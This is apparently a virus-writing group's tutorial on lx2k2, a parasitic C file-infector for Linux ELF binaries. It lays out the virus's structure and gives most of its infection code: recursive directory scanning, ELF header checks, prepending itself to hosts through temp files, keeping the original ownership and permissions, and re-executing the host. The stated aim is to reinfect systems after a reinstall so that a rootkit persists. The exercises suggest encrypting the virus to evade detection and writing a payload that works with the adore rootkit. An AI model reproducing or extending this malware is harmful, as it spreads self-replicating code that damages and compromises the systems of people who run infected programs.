Simple ELF Parasitic UNIX Virus
Intro
This panel discussion is focused around ELF file infectors. This virus
is based on the Silvio Cesare File Virus. It's infection technique is
the same but it's spreading methods and functions have been changed. This
virus is written in 100% C unlike other virus discussions that the AU has
had in the past. This should lend the virus to be more easily analyzed
and manipulated (becuase some poor people still don't know assembly)
The concept here is simple. If you drop a root kit and somebody re-installs
the distro you have a good possiblity of loosing the root kit. If you
drop the rootkit and execute a virus (perhaps one that is aware of the
rootkit and vice versa) you can infect files that may come with the distro.
This would allow for reinfection of a clean distro re-install.
The Parasitic ELF file infector - lx2k2
Outline of the virus structure
- Read ourselves into memory
- Determine our effective UID
- Scan directories for files to infect
- If a valid ELF file found infect with the following method
- Create a temporary file and write ourselves to it.
- Append the host file to our temporary file
- Append a magic number for identification to the end of the file
- Replace the original file with our temporary file
- Run payload if root
- Create a temporary file and save the appended host program to it
- Execute temp file
- Delete temp file
Detailed breakdown
We can read ourselves into memory by using the PARASITE_LENGTH constant. This
constant need to be set to the size of the compiled virus. If you compile
the virus via the create script it will automagically define this
correctly for you. This line read in the virus section into a section
of memory labeled virus.
if (read(fd, virus, PARASITE_LENGTH) != PARASITE_LENGTH) return 1;
Where fd is the file descriptor for ourself.
Next we scan directories via the scan_dir function. This function is
meant to be used recursively (meaning it will call itself) This will
enable the virus to scan down the entire directory tree if need be. If it
finds a regular file it then opens it to see if it can infect it via the
infect function.
First we read in the header of the file and check to see if it has the
magic ELF syntax:
if(read(hd,&ehdr, sizeof(ehdr)) != sizeof(ehdr)) return 1;
if(
ehdr.e_ident[0] != ELFMAG0 ||
ehdr.e_ident[1] != ELFMAG1 ||
ehdr.e_ident[2] != ELFMAG2 ||
ehdr.e_ident[3] != ELFMAG3
) return 1;
This basically just checks to see if the first four bytes are 0x75 ELF. It then checks some other sections of the ELF file to ensure this is indeed an
executible and one for the achitecture that we are compiled from. ELF files
can also be used as core files and we don't want to infect those.
if (ehdr.e_type != ET_EXEC && ehdr.e_type != ET_DYN) return 1;
if (ehdr.e_machine != EM_386) return 1;
if (ehdr.e_version != EV_CURRENT) return 1;
The EM_386 line will need to be changed if you decide to compile this virus
on a non-intel platform. The other values are defined in /usr/include/elf.h.
Next we check to see if our MAGIC number already is at the end of the file.
if(read(hd, &tmagic, sizeof(magic)) != sizeof(magic)) return 1;
if(tmagic == MAGIC) return 1;
This prevents us from re-infecting a file. Now we write ourselves to
a temp file defined by TMPFILE_TEMPLATE. This needs to be a template
file named defined by mkstemp(3) (basically just needs to end in 6 X's)
strncpy(tmpfile, TMPFILE_TEMPLATE, MAX_BUF);
fd=mkstemp(tmpfile);
if(fd<0) { printf("open(%s)",tmpfile);exit(1); }
if (write(fd, virus, PARASITE_LENGTH) != PARASITE_LENGTH) return 1;
Next we read in our new host into memory named data. This gets
appended to our temp file. Finally we append our magic number to the
end of the temp file.
/* Write host to end of our temp file */
if(write(fd,data, stat.st_size) != stat.st_size) return 1;
/* Write magic number to EOF */
if(write(fd,&magic, sizeof(magic)) != sizeof(magic)) return 1;
Now we set the permisions and ownerships on our temp file to match the
original host and use the rename function to replace the real file with
are temp file.
if(fchown(fd, stat.st_uid, stat.st_gid) < 0) return 1;
if(fchmod(fd, stat.st_mode) < 0) return 1;
/* Rename tmp file overtop of original file */
if(rename(tmpfile, filename) < 0) return 1;
We then increment our infections counter. We will only infect MAX_INFECT
on each run to prevent the system from being bogged down.
After we are done infected MAX_INFECT number of files or there are no more
files to infect we now need to run the program that is stuck on the end
of ourselves. The length of the original file is the our filesize minus
PARASITE_LENGTH
len = stat.st_size - PARASITE_LENGTH;
We then seek to the end of PARASITE_LENGTH and read in len bytes into
memory called data1. Now we create a temp file to write the memory
contents into and change it's permisions.
strncpy(tmpfile, TMPFILE_TEMPLATE, MAX_BUF);
tmpfd = mkstemp(tmpfile);
if(tmpfd <0) return 1;
if (write(tmpfd, data1, len) != len) return 1;
fchmod(tmpfd, stat.st_mode);
free(data1);
close(tmpfd);
Finally we fork off a process to execute the tempfile. When the process
returns we delete the tempfile.
pid = fork();
if (pid <0) exit(1);
if(pid ==0) exit(execve(tmpfile, argv, envp));
if(waitpid(pid, NULL, 0) != pid) exit(1);
unlink(tmpfile);
That's it!
Download virus
lx2k2 Virus
Scans
None performed yet
Excerices
- Write a better scanner / cleaner for lx2k2
- Modify lx2k2 to eliminate using strings or grep to locate
the virus (perhaps with encryption)
- Add #ifdef Architecture checks to automagically change the EM_386
at compile time to the approprite system
- Write a better payload. perhaps one that directly communicates with a
root kit like adore